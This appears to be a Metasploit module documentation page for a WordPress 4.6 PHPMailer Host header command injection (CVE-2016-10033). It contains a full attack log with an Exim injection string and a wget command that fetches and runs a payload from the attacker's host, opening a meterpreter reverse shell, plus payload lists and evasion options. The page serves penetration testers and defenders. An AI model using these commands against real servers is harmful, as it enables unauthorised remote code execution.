WordPress PHPMailer Host Header Command Injection - Metasploit
This page contains detailed information about how to use the exploit/unix/webapp/wp_phpmailer_host_header metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: WordPress PHPMailer Host Header Command Injection
Module: exploit/unix/webapp/wp_phpmailer_host_header
Source code: modules/exploits/unix/webapp/wp_phpmailer_host_header.rb
Disclosure date: 2017-05-03
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2016-10033
This module exploits a command injection vulnerability in WordPress version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer, a mail-sending library that is bundled with WordPress. A valid WordPress username is required to exploit the vulnerability. Additionally, due to the altered Host header, exploitation is limited to the default virtual host, assuming the header isn't mangled in transit. If the target is running Apache 2.2.32 or 2.4.24 and later, the server may have HttpProtocolOptions set to Strict, preventing a Host header containing parens from passing through, making exploitation unlikely.
Module Ranking and Traits
Module Ranking:
- average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.
Basic Usage
msf > use exploit/unix/webapp/wp_phpmailer_host_header
msf exploit(wp_phpmailer_host_header) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Introduction
This vuln has some caveats: you need approximately WordPress 4.6 with
Exim for the sendmail(8)
command. You do not need to install
PHPMailer, as it is included as part of the WordPress install.
Thanks to WP's awesome practice of backporting the heck out of all their patches, we need to use a Git clone and check out the vuln release.
Setup
This was tested on Ubuntu 15.04. YMMV.
- got root?
cd /var/www/html
git clone https://github.com/WordPress/WordPress wordpress-4.6
chown -R www-data:www-data wordpress-4.6
cd wordpress-4.6
git checkout 4.6
- Set up a MySQL database for WordPress
- Install as normal
Options
VERBOSE
If you'd like to see what requests are being sent, set this to true
.
You should see the Exim prestager commands being sent to the target.
Usage
msf > use exploit/unix/webapp/wp_phpmailer_host_header
msf exploit(wp_phpmailer_host_header) > set rhost 192.168.33.135
rhost => 192.168.33.135
msf exploit(wp_phpmailer_host_header) > set targeturi /wordpress-4.6
targeturi => /wordpress-4.6
msf exploit(wp_phpmailer_host_header) > set lhost 192.168.33.1
lhost => 192.168.33.1
msf exploit(wp_phpmailer_host_header) > set verbose true
verbose => true
msf exploit(wp_phpmailer_host_header) > run
[*] Started HTTPS reverse handler on https://192.168.33.1:8443
[*] WordPress 4.6 installed at http://192.168.33.135/wordpress-4.6
[*] Generating wget command stager
[*] Using URL: http://0.0.0.0:8080/mbpvuuck
[*] Local IP: http://[redacted]:8080/mbpvuuck
[*] Generating and sending Exim prestager
[*] Sending /bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}{${readsocket{inet:192.168.33.1:8080}{get /mbpvuuck http/1.0$value$value}}}}}}
[+] Sending wget${IFS}-qO${IFS}/tmp/vfotastd${IFS}http://192.168.33.1:8080/mbpvuuck;chmod${IFS}+x${IFS}/tmp/vfotastd;/tmp/vfotastd;rm${IFS}-f${IFS}/tmp/vfotastd
[+] Sending payload linux/x64/meterpreter_reverse_https
[*] https://192.168.33.1:8443 handling request from 192.168.33.135; (UUID: xyx88vod) Redirecting stageless connection from /nBwfbdUYNjU2TjBMb1VkagG08CfJO-jZYpOxBsWHQMGHh7p5ISjCG3Ze with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] https://192.168.33.1:8443 handling request from 192.168.33.135; (UUID: xyx88vod) Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (192.168.33.1:8443 -> 192.168.33.135:36075) at 2017-05-16 14:25:28 -0500
[*] Sending /bin/rm -f /tmp/vfotastd
[*] Server stopped.
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the unix/webapp/wp_phpmailer_host_header exploit module looks in the msfconsole:
msf6 > use exploit/unix/webapp/wp_phpmailer_host_header
[*] Using configured payload linux/x64/meterpreter_reverse_https
msf6 exploit(unix/webapp/wp_phpmailer_host_header) > show info
Name: WordPress PHPMailer Host Header Command Injection
Module: exploit/unix/webapp/wp_phpmailer_host_header
Platform: Linux
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2017-05-03
Provided by:
Dawid Golunski
wvu <[email protected]>
Available targets:
Id Name
-- ----
0 WordPress 4.6 / Exim
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to the wordpress application
USERNAME admin yes WordPress username
Payload information:
Description:
This module exploits a command injection vulnerability in WordPress
version 4.6 with Exim as an MTA via a spoofed Host header to
PHPMailer, a mail-sending library that is bundled with WordPress. A
valid WordPress username is required to exploit the vulnerability.
Additionally, due to the altered Host header, exploitation is
limited to the default virtual host, assuming the header isn't
mangled in transit. If the target is running Apache 2.2.32 or 2.4.24
and later, the server may have HttpProtocolOptions set to Strict,
preventing a Host header containing parens from passing through,
making exploitation unlikely.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-10033
https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html
https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions
Module Options
This is a complete list of options available in the unix/webapp/wp_phpmailer_host_header exploit:
msf6 exploit(unix/webapp/wp_phpmailer_host_header) > show options
Module options (exploit/unix/webapp/wp_phpmailer_host_header):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to the wordpress application
USERNAME admin yes WordPress username
Payload options (linux/x64/meterpreter_reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 WordPress 4.6 / Exim
Advanced Options
Here is a complete list of advanced options supported by the unix/webapp/wp_phpmailer_host_header exploit:
msf6 exploit(unix/webapp/wp_phpmailer_host_header) > show advanced
Module advanced options (exploit/unix/webapp/wp_phpmailer_host_header):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR wget no The CMD Stager to use. (Accepted: auto, wget, curl)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WPCHECK true yes Check if the website is a valid WordPress install
WPCONTENTDIR wp-content yes The name of the wp-content directory
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes Writable directory
Payload advanced options (linux/x64/meterpreter_reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpServerName Apache no The server header that the handler will send in response to requests
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
HttpUserAgent Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko no The user-agent that the payload should use for communication Max parameter length: 255 characters
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/webapp/wp_phpmailer_host_header module can exploit:
msf6 exploit(unix/webapp/wp_phpmailer_host_header) > show targets
Exploit targets:
Id Name
-- ----
0 WordPress 4.6 / Exim
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/wp_phpmailer_host_header exploit:
msf6 exploit(unix/webapp/wp_phpmailer_host_header) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
12 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
13 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
14 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
15 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
16 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
17 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
18 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
19 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
20 payload/linux/x86/chmod normal No Linux Chmod
21 payload/linux/x86/exec normal No Linux Execute Command
22 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
23 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
25 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
26 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
27 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
28 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
31 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
32 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
33 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
34 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
35 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
36 payload/linux/x86/read_file normal No Linux Read File
37 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
38 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
39 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
40 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
41 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
42 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
43 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
46 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
47 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
48 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
49 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
50 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the unix/webapp/wp_phpmailer_host_header exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/webapp/wp_phpmailer_host_header) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Is WordPress installed at <FULL_URI> ?
Here is a relevant code snippet related to the "Is WordPress installed at <FULL_URI> ?" error message:
78: end
79: end
80:
81: def exploit
82: if check == CheckCode::Safe
83: print_error("Is WordPress installed at #{full_uri} ?")
84: return
85: end
86:
87: # Since everything goes through strtolower(), we need lowercase
88: print_status("Generating #{cmdstager_flavor} command stager")
login_error
Here is a relevant code snippet related to the "login_error" error message:
134: 'wp-submit' => 'Get New Password'
135: }
136: )
137:
138: if res && !res.redirect?
139: if res.code == 200 && res.body.include?('login_error')
140: fail_with(Failure::NoAccess, 'WordPress username may be incorrect')
141: elsif res.code == 400 && res.headers['Server'] =~ /^Apache/
142: fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')
143: else
144: fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}")
WordPress username may be incorrect
Here is a relevant code snippet related to the "WordPress username may be incorrect" error message:
135: }
136: )
137:
138: if res && !res.redirect?
139: if res.code == 200 && res.body.include?('login_error')
140: fail_with(Failure::NoAccess, 'WordPress username may be incorrect')
141: elsif res.code == 400 && res.headers['Server'] =~ /^Apache/
142: fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')
143: else
144: fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}")
145: end
HttpProtocolOptions may be Strict
Here is a relevant code snippet related to the "HttpProtocolOptions may be Strict" error message:
137:
138: if res && !res.redirect?
139: if res.code == 200 && res.body.include?('login_error')
140: fail_with(Failure::NoAccess, 'WordPress username may be incorrect')
141: elsif res.code == 400 && res.headers['Server'] =~ /^Apache/
142: fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')
143: else
144: fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}")
145: end
146: end
147:
Server returned code <RES.CODE>
Here is a relevant code snippet related to the "Server returned code <RES.CODE>" error message:
139: if res.code == 200 && res.body.include?('login_error')
140: fail_with(Failure::NoAccess, 'WordPress username may be incorrect')
141: elsif res.code == 400 && res.headers['Server'] =~ /^Apache/
142: fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')
143: else
144: fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}")
145: end
146: end
147:
148: res
149: end
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #13259 Merged Pull Request: Backport fixes to various modules committed between Nexus and Liferay PRs
- #10973 Merged Pull Request: Rework DisclosureDate check in msftidy, including ISO 8601 support
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8345 Merged Pull Request: Add WordPress 4.6 PHPMailer exploit
References
- CVE-2016-10033
- https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
- http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html
- https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions
See Also
Check also the following modules related to this module:
- exploit/multi/http/phpmailer_arg_injection
- exploit/unix/webapp/wp_admin_shell_upload
- exploit/unix/webapp/wp_advanced_custom_fields_exec
- exploit/unix/webapp/wp_ajax_load_more_file_upload
- exploit/unix/webapp/wp_asset_manager_upload_exec
- exploit/unix/webapp/wp_creativecontactform_file_upload
- exploit/unix/webapp/wp_downloadmanager_upload
- exploit/unix/webapp/wp_easycart_unrestricted_file_upload
- exploit/unix/webapp/wp_foxypress_upload
- exploit/unix/webapp/wp_frontend_editor_file_upload
- exploit/unix/webapp/wp_google_document_embedder_exec
- exploit/unix/webapp/wp_holding_pattern_file_upload
- exploit/unix/webapp/wp_inboundio_marketing_file_upload
- exploit/unix/webapp/wp_infinitewp_auth_bypass
- exploit/unix/webapp/wp_infusionsoft_upload
- exploit/unix/webapp/wp_lastpost_exec
- exploit/unix/webapp/wp_mobile_detector_upload_execute
- exploit/unix/webapp/wp_nmediawebsite_file_upload
- exploit/unix/webapp/wp_optimizepress_upload
- exploit/unix/webapp/wp_photo_gallery_unrestricted_file_upload
- exploit/unix/webapp/wp_pie_register_bypass_rce
- exploit/unix/webapp/wp_pixabay_images_upload
- exploit/unix/webapp/wp_plainview_activity_monitor_rce
- exploit/unix/webapp/wp_platform_exec
- exploit/unix/webapp/wp_property_upload_exec
- exploit/unix/webapp/wp_reflexgallery_file_upload
- exploit/unix/webapp/wp_revslider_upload_execute
- exploit/unix/webapp/wp_slideshowgallery_upload
- exploit/unix/webapp/wp_symposium_shell_upload
- exploit/unix/webapp/wp_total_cache_exec
- exploit/unix/webapp/wp_worktheflow_upload
- exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload
- exploit/unix/webapp/wp_wpshop_ecommerce_file_upload
- exploit/unix/webapp/wp_wptouch_file_upload
- exploit/unix/webapp/wp_wysija_newsletters_upload
Related Nessus plugins:
- F5 Networks BIG-IP : PHPMailer vulnerability (K74977440)
- F5 Networks BIG-IP : PHPMailer vulnerability (K73926196)
- FreeBSD : phpmailer -- Remote Code Execution (c7656d4c-cb60-11e6-a9a5-b499baebfeaf)
- Debian DLA-770-2 : libphp-phpmailer regression update
- Debian DSA-3750-1 : libphp-phpmailer - security update
- Fedora 25 : php-PHPMailer (2016-6941d25875)
- Fedora 24 : php-PHPMailer (2017-c3dc97e1e1)
- WordPress < 4.7.1 Multiple Vulnerabilities
Authors
- Dawid Golunski
- wvu
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.